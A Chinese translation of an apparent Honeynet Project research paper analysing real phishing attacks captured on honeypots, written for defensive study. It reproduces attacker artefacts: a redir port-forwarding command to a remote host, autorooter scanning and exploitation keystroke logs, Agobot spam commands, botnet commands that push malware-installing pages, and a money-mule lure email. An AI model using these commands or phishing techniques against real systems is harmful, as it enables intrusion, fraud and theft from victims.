注册发音相近或形似的 DNS 域名(如 b1gbank.com 或 bigbnk.com 假冒 bigbank.com ),并在上面架设假冒网站,期望用户不会发现他们之间的差异。
在一个假冒钓鱼网站的电子邮件 HTML 内容中嵌入一些指向真实的目标网站的链接,从而使得用户的网站浏览器的大多数 HTTP 连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持 HTML 内容的自动获取,那会在电子邮件被读取的时候自动地连接假冒网站,手动地浏览也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。
对假冒网站的 URL 进行编码和混淆,很多用户不会注意到或者理解 URL 链接被做过什么处理,并会假设它是良性的。 IDN 欺骗技术( IDN spoofing )就是这样的一种技术,它使用 Unicode 编码的 URL 在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址。
企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的 IE 和 Outlook 都被发现过存在可以被这种技术攻击的漏洞(如 地址栏假冒 和 IFrame element 漏洞 )。
将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。这将导致一个“口令错误,请重试”错误,或甚至完全透明,但在每种情况下,大部分用户都不会发觉,更相信是自己的错误输入,而不会想到是由于恶意第三方的干涉。
架设一个假冒网站,作为目标机构真实网站的代理,并偷摸地记录未使用 SSL 加密保护的口令信息(或甚至为假冒的域名注册一个有效的 SSL 证书从而对 SSL 加密保护的口令信息进行记录)。
首先通过恶意软件在受害者的 PC 上首先安装一个恶意的浏览器助手工具( Browser Helper Object ),然后由其将受害者重定向到假冒的钓鱼网站。 BHO 是一些设计用于定制和控制 IE 浏览器的 DLL ,如果成功,受害者将会被欺骗,相信他们正在访问合法的网站内容,然而实际上却在访问一个假冒的钓鱼网站。
使用恶意软件去修改受害者 PC 上的用来维护本地 DNS 域名和 IP 地址映射的 hosts 文件,这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时,却让用户看起来像是访问目标机构的合法网站。
由于很多电子商务或在线银行应用的复杂性,他们的网站经常使用 HTML 框架结构或其他复杂的页面结构架设,这也可能使得一个终端用户很难判断一个特定的网页是否合法。上述列举的这些技术的组合使用可以隐藏一个精心设计的网页的真实来源,也使得一个无戒备心的用户很可能被引诱去访问钓鱼者的假冒网站,不知不觉地泄漏他们的认证口令信息和所需要的数字身份信息,从而成为一次成功的网络钓鱼攻击的又一个受害者。
真实世界的网络钓鱼技术
互联网用户也经常在他们自己收到欺骗性邮件发觉网络钓鱼攻击,也常常在钓鱼网站所临时架设的主机被 关闭很长时间后在 技术新闻站点上看到这些恶意网站的记录副本,但这些事件只能被孤立从受害者的角度去观察。蜜网技术能够提供的一个最大的优势在于其能够从攻击者角度捕获全部行为的能力,使得安全分析员能够对网络钓鱼攻击的整个生命周期建立起一个完整的理解,来自蜜网研究联盟的成员们非常幸运地捕获了丰富的网络钓鱼攻击数据集,能够帮助他们了解真实的一次网络钓鱼攻击的全过程,从最初主机被攻陷、钓鱼网站的架设、群发垃圾邮件、到最后的受害者数据捕获。三个反映典型的真实世界网络钓鱼攻击技术的实际案例将在下面被展示和分析。
第一种网络钓鱼技术-通过攻陷的网站服务器钓鱼
大部分我们观察到真实世界中的网络钓鱼攻击涉及到攻击者攻入有漏洞的服务器,并安装恶意的网页内容。蜜网技术使得我们可以捕获一次网络钓鱼攻击的生命周期中的详细数据,在我们观察到的这些攻击事件中,普遍地存在如下一些事件:
攻击者扫描网段,寻找有漏洞的服务器
服务器被攻陷,并安装一个 rootkit 或口令保护的后门工具
钓鱼者从加密的后门工具获得对服务器的访问权
如果这个被攻陷的服务器是一个网站服务器,则下载已构建完毕的钓鱼网站内容
进行有限的一些内容配置和网站测试工作(这也潜在地预示着第一次访问钓鱼网站的 IP 地址可能是钓鱼者的真实 IP 地址)
群发电子邮件工具被下载,并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问恶意的网页内容
通常情况下,网站钓鱼攻击的生命周期从钓鱼网站发布到互联网上后只有几个小时或几天的时间,我们的研究也发现网络钓鱼攻击在多台服务器上针对多个组织机构在同时并行进行。我们将使用两个典型的网络钓鱼攻击的实际案例所捕获的数据来进行阐述这些原理,其中一个案例是由德国蜜网项目组观察到,另一个由英国蜜网项目组观察到。在每个案例中,蜜网研究联盟的成员们都部署了有漏洞的 Linux 蜜罐,对这两个蜜罐的攻陷过程显示了相同的攻击模式:蜜罐的被扫描和被攻陷具有非常强的连续性,并包括预先创建的钓鱼网站和群发垃圾邮件工具的上传和使用。与我们观察到的几次其他的案例中类似, Rootkit 和 IRC 服务器也同时在攻击过程中被安装,被攻陷的蜜罐同时被用以除网络钓鱼外的其他目的:如作为一个由罗马尼亚攻击者控制的 IRC 傀儡主机,同时也作为一个网络扫描器用以发现和攻击更多潜在的计算机(尽管蜜网体系框架阻止攻击者从被攻陷的蜜罐成功的攻击其他的服务器)。一些令人关注的差异也是非常显然的,不仅仅是在英国蜜网项目组观察到的案例中,也就是多个不同的组织几乎同时访问了被攻陷的主机,使得取证分析更加复杂。由于篇幅的限制,我们没有在本文中给出这些攻击的具体细节,而仅仅给出了我们所得到的经验以及钓鱼者如何进行网络钓鱼攻击。如果你对这些特定的攻击过程的更多具体细节感兴趣,你可以访问以下页面中的信息。
蜜网配置概要介绍
德国蜜罐攻陷案例的具体细节
英国蜜罐攻陷案例的具体细节(时间表)
英国蜜罐攻陷案例的具体细节(内容分析)
下面的表格展示了在这两个案例中关键的因素及其差异的概要 分析 :
数据
德国案例
英国案例
被攻陷的蜜罐
Redhat Linux 7.1 x86.
Redhat Linux 7.3 x86.
部署位置
德国企业网络
英国 ISP 数据中心
攻击方法
"Superwu" autorooter.
"Mole" mass scanner.
被利用的漏洞
Wu-Ftpd File globbing heap corruption vulnerability ( CVE-2001-0550 ).
NETBIOS SMB trans2open buffer overflow ( CAN-2003-0201 ).
获得的访问权限
Root.
Root.
安装的 Rootkit
Simple rootkit that backdoors several binaries.
SHV4 rootkit.
可能的攻击者
未知
来自罗马尼亚康斯坦萨的拨号 IP 网络的多个组织
网站行为
下载多个构建好的以 eBay 和多家美国银行为目标的钓鱼网站
下载一个预先构建的以一家美国主要银行为目标的钓鱼网站
服务器端后台处理
用于验证用户输入的 PHP script
拥有更高级用户输入验证和数据分类的 PHP script
电子邮件活动
企图发送垃圾邮件 ( example 1 , example 2 ), 但被 Honeywall 所拦截 .
仅测试了邮件发送,可能是给钓鱼者同伙, Improved syntax and presentation.
群发电子邮件方法
从一个中量级 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script
从一个小量级的 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script – 可能仅仅是一次测试 .
受害者是否到达钓鱼网站
没有,垃圾邮件的发送和对钓鱼网站的访问被阻断
有,在 4 天内有 265 个 HTTP 请求到达,但不是因为从服务器发出的垃圾邮件所吸引的 ( 没有客户的个人信息被收集 ).
从对两个案例中钓鱼者的键击记录(使用 Sebek 捕获)的观察发现,攻击者在连接到已存在的后满后,立即开始工作,部署他们的钓鱼网站。这些攻击者的动作显示他们对服务器的环境非常熟悉,这也说明他们是前期攻陷这些蜜罐的组织中的成员,而且钓鱼攻击的整个企图也是非常明显且具有组织性的。从上传的网站内容经常指向其他的网站服务器和 IP 地址看来,很可能这些活动同时在多台服务器上同时在进行中。
从对在这些案例中由攻击者下载的钓鱼网站内容的分析中可以明显的看出,钓鱼者在同时以多个知名的在线组织结构为假冒目标。预先精心构造、有官方标志的假冒钓鱼网站被例行性地部署到被攻陷的主机上-经常通过以不同的网页服务器根目录进行分离的“子站点”来同时架设多个组织结构的钓鱼网站,同时安装将垃圾邮件传播给潜在的受害者的必需工具。在英国蜜网项目组观察到的案例中,从 FTP 会话所列出的目录列表中可以确认这些攻击者已经很深的卷入垃圾邮件和网络钓鱼攻击中,预先构建的网站内容和邮件传播攻击被集中存放在一个集中的服务器上,并且看起来攻击的目标至少针对 eBay 、 AOL 和其他几个知名的美国银行。这些个别的网络钓鱼攻击看起来并不是隔离的单独的攻击事件,因为在这些案例中发布的垃圾邮件通常将受害者指向到几个同时存在的假冒网站服务器,同时这些垃圾邮件也同时是从多个系统中发出。从英国案例中蜜罐被攻击后第一个连入对钓鱼网站内容的 HTTP 请求也预示着并行的网络钓鱼攻击操作在进行。
这个连入蜜罐的 HTTP 连接在攻击者在这台蜜罐主机上架设假冒的在线银行网站之前就已经发生,这确认了攻击者已经预先知道这台服务器可以被用来作为一个钓鱼网站的假设。在攻击者在架设这个钓鱼网站的同时,引诱受害者访问这个新钓鱼网站的垃圾邮件已经从另外一台主机上发出。
我们对连入被攻陷的蜜罐请求假冒在线银行内容的 HTTP 请求连接的源 IP 地址数量和范围感到震惊。下面的图给出了在蜜罐从网络中断开前从各个 IP 地址访问钓鱼网站的 HTTP 请求的数目(包括每个 IP 单独计算和全部的 HTTP 请求)。
访问英国蜜网项目组部署蜜罐上的钓鱼网站内容的源 IP 地址的顶层 DNS 域名、国家和主机操作系统的列表见 此页面 。要注意的是,在蜜罐被离线进行取证分析之前,尽管访问钓鱼网站的网页流量到达英国蜜网项目组部署的蜜罐,但并没有针对处理用户数据处理的 PHP 脚本的 HTTP POST 请求,因此在此次网络钓鱼攻击中,没有任何用户的信息被钓鱼者和我们获得。在本文提及的所有案例中,我们或是直接通报了目标机构关于攻击案例和任何相关的他们所需的相关数据,或是向当地的计算机应急响应组通报了所有相关的恶意行为。在所有案例中,没有任何受害者的私人信息被蜜网项目组和蜜网研究联盟的成员所捕获。
从这两个案例中的数据表明钓鱼者是非常活跃并且具有组织性的,在多个被攻陷的主机中快速地移动,并且同时以多个著名的组织结构为目标。同时数据也显示许多电子邮件用户被引诱访问假冒组织机构(如在线银行和商务网站)的钓鱼网站,网络钓鱼攻击已经给广大的互联网用户带来了安全风险。
第二种网络钓鱼技术-通过端口重定向钓鱼
在 2004 年 11 越,德国蜜网项目组部署了包含一个 Redhat Linux 7.3 蜜罐的经典 第二代蜜网 。虽然安装的是相当旧的操作系统版本,攻击者也能够非常容易就能攻破,但它令人惊讶地经过了两个半月后才被首次成功攻陷-这和以上提及案例中讨论的蜜罐快速被攻陷的情况形成显著的反差。更多关于此趋势的信息可以在“了解你的敌人”系列文章中的“ 了解你的敌人:趋势分析 ”中可以找到。
在 2005 年 1 月 11 日 ,一个攻击者成功地攻陷了这台蜜罐,使用了针对 Redhat Linux 7.3 缺省安装存在的 OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability 的攻击脚本。此案例不寻常的是当攻击者获得被攻陷主机的访问权后,他并没有直接上传钓鱼网站内容。取而代之的是,攻击者在蜜罐上安装并配置了一个端口重定向服务。
这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器,这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具,此工具是一个能够透明地将连入的 TCP 连接转发到一个远程的目标主机的端口 重定向器。在此次案例中,攻击者配置该工具将所有到蜜罐 TCP 80 端口( HTTP )的流量重定向到一个位于 中国 的远程网站服务器的 TCP 80 端口。有意思的是,攻击者并没有在蜜罐上安装 Rootkit 以隐藏他的存在,这也说明攻击者并没有把被攻陷的主机的价值看的很重,同时并不担心被检测到。
攻击者使用的建立端口重定向的指令如下:
redir --lport=80 --laddr=<IP address of honeypot> --cport=80 --caddr=221.4.XXX.XXX
另外,攻击者修改了 Linux 系统的启动脚本文件 /etc/rc.d/rc.local 从而保证 redir 端口重定向服务在蜜罐系统重新启动后也会被重新启动,提高了他们的端口重定向服务的生存能力。然后他们开始往外发送钓鱼垃圾邮件以引诱受害者访问此蜜罐,一个示例可以在 此 找到。(注意相关的敏感信息已经被混淆了)。
为了进一步调查攻击者的活动,德国蜜网项目组的成员们干涉并偷偷摸摸修改了攻击者在蜜罐上安装的 redire 工具的配置,使其在 redir 程序内进行日志,使得更容易地观察到多少人接收到此垃圾邮件信息,并点击了其中的链接透明地访问重定向后的钓鱼网站内容。在将近 36 小时的时间段内, 721 个 IP 地址被 redir 重定向到钓鱼网站,我们又一次对这么多用户被发布的钓鱼邮件所引诱访问钓鱼网站内容而感到震惊。对访问端口重定向器的 IP 地址的分析可以在 这 找到(注意这些信息已经被清洁过,以保护访问钓鱼网站的用户,同时在我们的研究中仅记录了 IP 地址数据,任何机密性的用户数据没有被捕获)。
本次攻击案例的一个概要时间线如下表所示:
日期 / 时间
事件
2004 年 11 月 1 日
蜜罐受到首次扫描
2005 年 1 月 11 日 19:13
蜜罐上的 OpenSSL 服务被攻陷,端口重定向器被安装, 钓鱼垃圾邮件 被发送。
2005 年 1 月 11 日 20:07
对钓鱼网站内容的 网页请求 开始到达蜜罐。
2005 年 1 月 13 日 8:15
蜜罐被离线进行取证分析。
第三种网络钓鱼技术-通过僵尸网络进行钓鱼
蜜网项目组最近发布的一篇文章“ 了解你的敌人:跟踪 僵尸网络 ”介绍了一种追踪僵尸网络的方法。一个僵尸网络是由可被攻击者远程控制的被攻陷主机所构成的网络。由于他们的巨大数量(可以有成千上万的主机一起连接),当僵尸网络被用以分布式拒绝服务攻击时,可以对互联网社区构成巨大的威胁。在 2004 年 10 月的一次调查中,电子邮件安全公司 CipherTrust 得出了 70% 监视到的钓鱼垃圾邮件是从 5 个活跃的僵尸网络中的 1 个所发出的,但是我们的观察显示有更多的僵尸网络已经被用来进行发送垃圾邮件。尽管还没有一个显著的实际案例分析,在本节中我们还是给出了我们对可被攻击者以僵尸网络的方式进行网络钓鱼攻击的工具和技术的观察结果。
案例时间表
在从 2004 年 9 月到 2005 年 1 月的这段时期中,德国蜜网项目组部署了一系列安装未打补丁的微软 Windows 操作系统的蜜罐,以观察僵尸网络活动。我们开发了一个自动化部署的过程,使得蜜罐可以被重复性地部署,攻陷及离线分析。在此期间,超过 100 个不同的僵尸网络被发现,以及上千的文件被获取用以离线分析。
分析
一些在此研究项目中捕获的僵尸工具提供了在被攻陷主机上远程启动一个 SOCKS v4/v5 代理的能力。 SOCKS 为基于 TCP /IP 的网络应用程序提供了一种通用化的代理机制( RFC 1928 ),可以被用来代理最普遍的互联网流量,如 HTTP 和 SMTP 等。如果攻击者能够成功地通过僵尸网络的控制使得各个远程傀儡主机上都开放 SOCKS 代理服务功能,那么该主机可以被用来发送大量的垃圾邮件,如果僵尸网络中包含成千上万的傀儡主机,那么攻击者可以轻易地发送巨大数量的垃圾邮件,而这些垃圾邮件的发送源头却是覆盖巨大 IP 地址范围的属于一些无戒备心用户的家庭 PC 机。
不存在集中的控制点,以及其范围超出了国界使得很难对僵尸网络的活动进行追踪和阻断。这也使得僵尸网络为垃圾邮件发布者和钓鱼者提供了一种低风险的、但高回报的攻击方法。或许不会令人惊讶,富有傀儡资源的僵尸网络拥有者已经开始以犯罪为目标,并且目前也已经出现 租借 僵尸网络 的现象。为了赚取租金,僵尸网络的操作者将会给他的客户提供一个支持 SOCKS v4 的服务器 IP 地址和端口。已经有报道显示僵尸网络被出售给垃圾邮件发布者作为垃圾邮件的转发服务器。 " Uncovered: Trojans as Spam Robots ". 一些捕获的僵尸工具也实现了能够获取 Email 地址,或者通过傀儡主机发送垃圾邮件的特殊功能。下面的列表显示了一些在 Agobot (一个被攻击者非常普遍使用的僵尸工具,其变种也经常在我们的研究过程中被捕获)中实现的与垃圾邮件 / 钓鱼邮件相关的指令:
harvest.emails – 使得僵尸工具获得一个 Email 地址列表
harvest.emailshttp – 使得僵尸工具通过 HTTP 获得一个 Email 地址列表
spam .setlist – 下载一个 Email 地址列表
spam .settemplate – 下载一个 Email 模板
spam .start – 开始发送垃圾邮件
spam .stop – 停止发送垃圾邮件
aol spam .setlist - AOL - 下载一个 Email 地址列表
aolspam.settemplate - AOL - 下载一个 Email 模板
aol spam .setuser - AOL – 设置用户名
aol spam .setpass - AOL -设置口令
aol spam .start - "AOL - 开始发送垃圾邮件
aol spam .stop - "AOL - 停止发送垃圾邮件
关于这些指令实现的进一步信息,可以在 这 找到,以僵尸工具源码的注释形式给出。在 drone -一个由德国蜜网项目组开发的自定制 IRC 客户端的帮助下,通过利用我们的蜜网所捕获的网络连接数据将 drone 混入僵尸网络中,我们可以对僵尸网络如何被用以进行发送垃圾邮件 / 钓鱼邮件进行更深入的了解。以下将给出一些观察到的典型活动案例。
实例 1
在一个特定的僵尸网络中,我们观察到攻击者发出了以下指令(注意 URL 都已经被混淆了):
<St0n3y> .mm http://www.example.com/email/fetch.php? 4a 005aec5d7dbe3b 01c 75aab2b 1c 9991 http://www.foobar.net/pay.html Joe did_u_send_me_this
.mm (mass emailing) 指令是一个一般化的 spam_start 指令的定制版本。这个指令接收以下 4 个参数:
一个包含多个 Email 地址文件的 URL
包含在垃圾邮件中的目标网站地址链接-这个网站可能是一个普遍的垃圾网页,也可能是一个钓鱼网站
发送者的名字
邮件的主题
在本次攻击案例中,每次调用 fetch.php 脚本会返回 30 个不同的 Email 地址。对于每个收信者,将会构造一个 Email 邮件,将宣传指令中第二个参数给出的链接。在这个实例中,第二个参数的链接指向了一个企图在受害者主机上安装一个恶意 ActiveX 组件的网页。
实例 2
在另一个僵尸网络中,我们观察到在受害者 PC 上安装浏览器助手组件的攻击方式:
[TOPIC] # spam 9 :.open http://amateur.example.com/l33tag3/beta.html -s
.open 指令告诉每个僵尸工具打开所申请的网页并显示给受害者,在这个案例中,这个网页中包含一个浏览器助手组件,企图在受害者主机上安装自身。从这个 IRC 频道的名称可以显示出,这个僵尸网络也是用以发送垃圾邮件的。
实例 3
在另外一个僵尸网络上,我们观察到 spyware 传播的实例:
http://public.example.com/prompt.php?h=6d799fbeef 3a 9b 386587f 5f 7b 37f [...]
这个链接在对捕获到的恶意软件的分析中获得,它将受害者指向了一个提供“免费的广告传播软件”的公司的网页,这个网站包含了在企图访问客户端上安装 ActiveX 组件(推测是 adware 或 spyware )的多个页面。
普遍的攻击旋律
在我们对网络钓鱼攻击的研究过程中发现了一些普遍的攻击旋律,攻击者显然在混合使用一些工具和技术来提高他们成功的机会。我们现在开始分析两种这样的技术-批量扫描和组合式攻击。
批量扫描
通过对一些被攻陷蜜罐的分析表明,系统是自动化的攻击脚本所攻陷,这些自动化攻击脚本通常被称为 autorooters 。在上面描述的两个案例中,一旦攻击者攻陷了蜜罐, autorooter 的 toolkits 就被上传到服务器上,然后攻击者就开始尝试扫描一些 IP 地址空间段来寻找其他同样存在漏洞的服务器(在德国案例中使用的称为 superwu 的扫描器,而在英国案例中使用了 mole 扫描器 )。在英国案例中捕获的攻击者键击记录如下所示,显示了从被攻陷的蜜罐发起的批量扫描的实例。注意由于蜜网配置,这些往外的恶意流量会被阻断,从而这些攻击不会成功。
攻击者解压缩扫描器,并尝试扫描 B 类地址空间段:
[2004-07-18 15:23:31 bash 0]tar zxvf mole.tgz
[2004-07-18 15:23:33 bash 0]cd mole
[2004-07-18 15:23:38 bash 0]./mazz 63.2
[2004-07-18 15:24:04 bash 0]./mazz 207.55
[2004-07-18 15:25:13 bash 0]./scan 80.82
攻击者尝试攻击潜在的有漏洞的服务器:
[2004-07-19 11:56:46 bash 0]cd mole
[2004-07-19 11:56:50 bash 0]./root -b 0 -v ns1.victim.net
[2004-07-19 11:57:26 bash 0]./root -b 0 -v 66.90.NNN.NNNs
攻击者在一段时间后回来查看已经成功攻陷的服务器列表(这个列表是空的,由于蜜网的配置):
[2004-07-23 08:13:18 bash 0]cd mole
[2004-07-23 08:13:20 bash 0]ls
[2004-07-23 08:13:25 bash 0]cat hacked.servers
攻击者尝试扫描更多的 B 类地址空间段,并随后测试对选择目标进行攻击:
[2004-07-24 10:24:17 bash 0]cd mole
[2004-07-24 10:24:19 bash 0]./scan 140.130
[2004-07-24 10:24:27 bash 0]./scan 166.80
[2004-07-24 10:25:36 bash 0]./scan 166.4
[2004-07-24 10:26:23 bash 0]./scan 139.93
[2004-07-24 10:27:18 bash 0]./scan 133.200
[2004-07-24 10:36:37 bash 0]./try 202.98.XXX.XXX
[2004-07-24 10:38:17 bash 0]./try 202.98.YYY.YYY
[2004-07-24 10:38:27 bash 0]./try 202.98.YYY.YYY
在上述最后一个例子中,注意攻击者尝试攻陷的几个主机并不在从这个蜜罐扫描的 IP 地址范围内,这又一次提供了批量扫描行为的高协同性和并行性。
对英国攻击者下载的 mole .tgz 文件的进一步调查揭示了在解压后的 aotorooter toolkit 的根目录中有一些 text 文件。这些文件包括扫描配置信息和之前扫描“ grabbb2.x and samba 2.2.8 vulnerability ”的扫描结果日志。在这些文件中还包含 42 个针对其他主机的攻击案例,以及针对多个 B 类地址空间扫描的结果,从而证明了观察到的攻击案例是一个更大的更具组织性的针对类似系统的攻击中的一部分。一个从攻击者的角度查看的 mole 扫描工具的输出结果的实例,可以在 这 找到。
最后,一些从攻陷蜜罐上发现的批量扫描工具看起来并没有广泛地传播,这也显示了这些攻击者拥有超越基本的脚本小子的一定水平的开发能力和工具制造能力,或者是一个并没有将他们的工具共享给公开论坛的封闭社团的成员。又一次,这显示了具有良好组织性的攻击者的能力。
组合式攻击
在我们的研究中,我们也发现了钓鱼者经常组合三种不同的攻击技术。正如我们观察到,并在本文所描述的,一些时候多种方法将提供一些冗余性,并通过一个两层的网络拓扑配置保护他们的网络钓鱼攻击基础设置。下图描述了一种可能的网络钓鱼攻击拓扑结构:
在这个实例中,一个中央的网站服务器架设了物理上的钓鱼网站内容,通常包含针对多个目标机构的多个网站(如在 /ebay 目录下有 一个 eBay 钓鱼网站,在 .paypal 目录下有一个 PayPal 钓鱼网站 )。一些被攻陷的远程主机在 redir 端口重定向器的帮助下将连入 TCP 80 端口的 HTTP 流量重定向到中央的网站服务器。这种方案从攻击者的角度看来比一个单一的钓鱼网站拥有以下的一些优势:
如果一台远程的 redir 主机被检测到了,那么受害者将把这个系统离线并重新安装,但这并不会对钓鱼者构成很大的损失,因为主钓鱼网站仍然在线,而且其他的 redir 主机仍然可以将 HTTP 流量转发到中央网站服务器。
如果中央的钓鱼网站服务器被检测到,这个系统将被离线,但钓鱼者可以在一台新攻陷的主机上重新架设钓鱼网站,并重新矫正原先的 redir 主机重定向流量到代替的中央网站服务器。使用这种技术,整个网络可以很快地重新恢复可用,网络钓鱼攻击可以快速地重新开始。
一台 redir 主机可以非常灵活,因为它可以通过非常简单地重新配置指向另外一个钓鱼网站。这也减少了从初始的系统攻陷到钓鱼网站可用的这段时间,从而增加了网络钓鱼攻击可以进行的时间长度。
使用这样的组合攻击技术又一次验证了攻击者的高组织性和能力,而不仅仅是简单的脚本小子。类似的运行模型也经常被主流的网站服务提供商和超大容量数据内容提供商(如 Google )所运用。
进一步的发现:资金转账
我们的研究同时也关注钓鱼者如何使用捕获的银行账号信息(如一个与相关的交易代号联系在一起的银行账号)。因为大多数银行都对跨国的资金流通进行监控,钓鱼者并不能简单地不引起金融权威机构注意下,从一个国家转移一大笔资金到另外一个国家。钓鱼者于是使用一些中介来为他们转移资金-以两阶段的步骤,钓鱼者先从受害者银行账号中把钱转移到一个同国中介人的银行账号中,中介人然后从他们的银行账号中提出现金(留下一定百分比作为他们的提供此转账服务的报酬)并寄给钓鱼者,如通过普通的地面信件。当然,这些中介人可能被捕,但是由于钓鱼者的钱已经在传输途中,他们并不会面对太大的安全风险,同时也可以很容易地转移他们的资金流通渠道到另外的中介人。一个可以说明在网络钓鱼攻击背后的金融结构的电子邮件实例如下:
Hello!
We finding Europe persons, who can Send/Receive bank wires
from our sellings, from our European clients. To not pay
TAXES from international transfers in Russia . We offer 10%
percent from amount u receive and pay all fees, for sending
funds back.Amount from 1000 euro per day. All this activity
are legal in Europe .
Fill this form: http://XXX.info/index.php (before filling
install yahoo! messenger please or msn), you will recieve
full details very quickly.
_________________________________________________________
Wir, europ?ische Personen findend, die Bankleitungen
davon Senden/erhalten k?nnen unsere Verk?ufe, von
unseren Kunden von Deutschland. STEUERN von internationalen
übertragungen in Russland nicht zu bezahlen. Wir
erh?lt das Prozent des Angebots 10 % vom Betrag und
bezahlt alle Schulgelder, um Kapital zurück zu senden.
Betrag von 1000 Euro pro Tag. Diese ganze T?tigkeit
ist in Europa gesetzlich.
Füllen Sie diese Form: http://XXX.info/index.php (bevor
die Füllung Yahoo installiert! Bote bitte oder msn), Sie
recieve volle Details sehr.
Thank you, FINANCIE LTD.
这是一封从英文到德文的非常烂的翻译稿,可能是通过翻译软件自动产生的,这也说明攻击者并不是以英语为母语的。因为钱将会被转移到俄罗斯,所以攻击者很可能来自这个国家。资金转移行为也正随着网络钓鱼攻击越来越具组织性变得越来越普遍。
Honeysnap – 一个攻击案例分析助手
一个从我们开始分析被上述网络钓鱼攻击攻陷的蜜罐数据时立即得到的一个结论是:由于不同黑客组织同时进行的多个攻击,我们需要非常多的时间从网络的流量中去抽取和准备用于进一步详细分析的数据。这个数据抽取过程是重复性的且枯燥乏味的,如果由人工进行将会使得我们宝贵的分析时间的效率大打折扣。因此需要一个自动化的解决方案。
由英国蜜罐项目组 David Watson 编写的 honeysnap 脚本正是基于此目的,被设计用来对蜜网日常捕获的数据为输入产生出一个简单的摘要输出,用于指导进一步的人工分析。 honeysnap 脚本对每个蜜罐的数据进行分类,提供了连出的 HTTP 和 FTP GETs 请求、 IRC 消息和 Sebek 键击记录日志列表功能,对关键网络连接能够进行自动化的 TCP 流重组,并抽取、标识和存储由 FTP 或 HTTP 下载的文件, honeysnap 脚本使得大多数消耗大量时间的攻击案例准备性工作都被移除,使得分析员能够集中精力人工地分析案例中的关键部分。 honeysnap 脚本还支持一个自动化的方法对包含感兴趣的关键字(如银行、账号、口令等)的 IRC 通讯进行显示,并提供日常性的 Email 报告功能。
目前的 honeysnap 脚本的一个基本的概念证明性的 UNIX shell 脚本,其 alpha 版可以在此找到,同时一组 honeysnap 输出 示例可以在此找到。一个模块化的并完全扩展的以 Python 编写的版本目前正在由蜜网项目组的成员开发中,并将与 2005 年 6 月发布 beta 测试版。
进一步的研究
在本文给出的信息给出了在网络钓鱼攻击领域进行进一步研究的一些潜在方法,我们同时建议在以下的一些方面进行更深入的调查和研究:
我们希望能够调查蜜罐技术能否被用于帮助与垃圾邮件发送者和钓鱼者进行对抗。一个可能的研究项目是部署一些在上述观察到的网络钓鱼攻击中所通常使用类型的蜜罐,或是一些对垃圾邮件发送者具有很强的吸引力的蜜罐( 如 SMTP open relays ),对攻击者对这些系统的攻击行为进行进一步的分析,能够帮助我们更深入地对网络钓鱼攻击进行剖析,特别是使用僵尸网络进行网络钓鱼这一领域,并能够对网络钓鱼攻击的创新进行跟踪。另外一个研究的可能性是进一步发展蜜罐的概念,研究客户端蜜罐技术,这种新一代的蜜罐工具能更活跃地参与到通讯网络中,例如,自动地随着垃圾邮件中的链接去访问目标网站内容。客户端蜜罐工具可以在 IRC 频道中发呆或通过 P2P 网络共享 / 下载文件,从而进一步地提高我们对这些通讯网络中所面临地安全威胁的了解。
另外,我们期望能够对对付和阻止这些网络钓鱼攻击的潜在方法进行深入研究。因为从一个网络钓鱼攻击的开始到结束的时间周期可能只有几个小时或几天,同时攻击源也可能广泛地分布,所以这将是一个困难的任务。目前在此领域研究的工作(如 The AntiPhishing Group 和 PhishReport )关注于依靠终端用户收集钓鱼邮件。虽然这是个可行的途径,但它只能在网络钓鱼攻击生命周期的最后阶段进行发现。 我们更需要 一个自动化地对网络钓鱼攻击捕获和响应的机制。
我们怀疑这些账号和口令在黑客界会被进行交易流通,可能通过 IRC 。蜜网技术可以被用来捕获这些通讯,并更深入地了解网络钓鱼攻击行为。另外,网络钓鱼攻击工具经常可以从一些经常更新地中央网站服务器或 FTP 服务器上下载获得。尽管充满争议,但对这些活动可以进行监控或联系系统拥有者以帮助他阻止这些网络钓鱼攻击,同时我们应该建立一个体系框架,从而对这些活动进行研究,并提出潜在的对策。
需要在提高案例分析的自动化进行进一步的研究工作,特别是对在这些攻击过程中捕获数据的自动轮廓生成。自动的流量和 IP 地址抽取, DNS 反向查询和 IP 地址块拥有者查询,针对每个 IP 地址或每个域名的流量摘要,以及被动的操作系统指纹辨识等功能在分析大规模的数据集时是非常有用的,在分析一个本地的包括已知主机、攻击者、攻击特征、消息内容等的取证数据库也是同样关键。在一个长期的规划中,需要建立共享这些信息的统一标准,以及一个全球的取证分析数据库从而支持对分布式的黑客活动进行分析,这也将是对整个互联网社区所高度需要和有显著意义的。
结论
在本文中我们展示了一些真实世界发生的网络钓鱼攻击的实际案例,以及在这些案例中攻击者进行的典型的行为。所有这些提供的信息都是使用高交互性的研究型蜜罐所捕获的,这又一次证明了蜜网技术在信息保障和取证分析领域里是一个强有力的工具。我们分析了攻击由德国和英国蜜网研究项目组部署的蜜罐的几次攻击。在两个案例中,钓鱼者攻击并攻陷了蜜罐系统,在攻陷主机后他们的动作开始有所差异。如下的网络钓鱼攻击各阶段的攻击技术被发现:
以著名的一些组织结构为目标,架设其钓鱼网站
发送欺骗性垃圾邮件,引诱受害者访问钓鱼网站
安装重定向服务,将网站流量都转发到已架设的钓鱼网站
通过僵尸网络传播垃圾邮件和钓鱼邮件
这些数据帮助我们了解钓鱼者的典型攻击行为和他们用来引诱和欺骗受害者的一些方法。我们已经学习到网络钓鱼攻击可以非常快地发生,在最初的系统入侵到一个钓鱼网站在线,并发出宣扬此网站的钓鱼垃圾邮件只有相当有限的时间,而这么快的攻击速度使得这些攻击者很难被追踪和阻止。
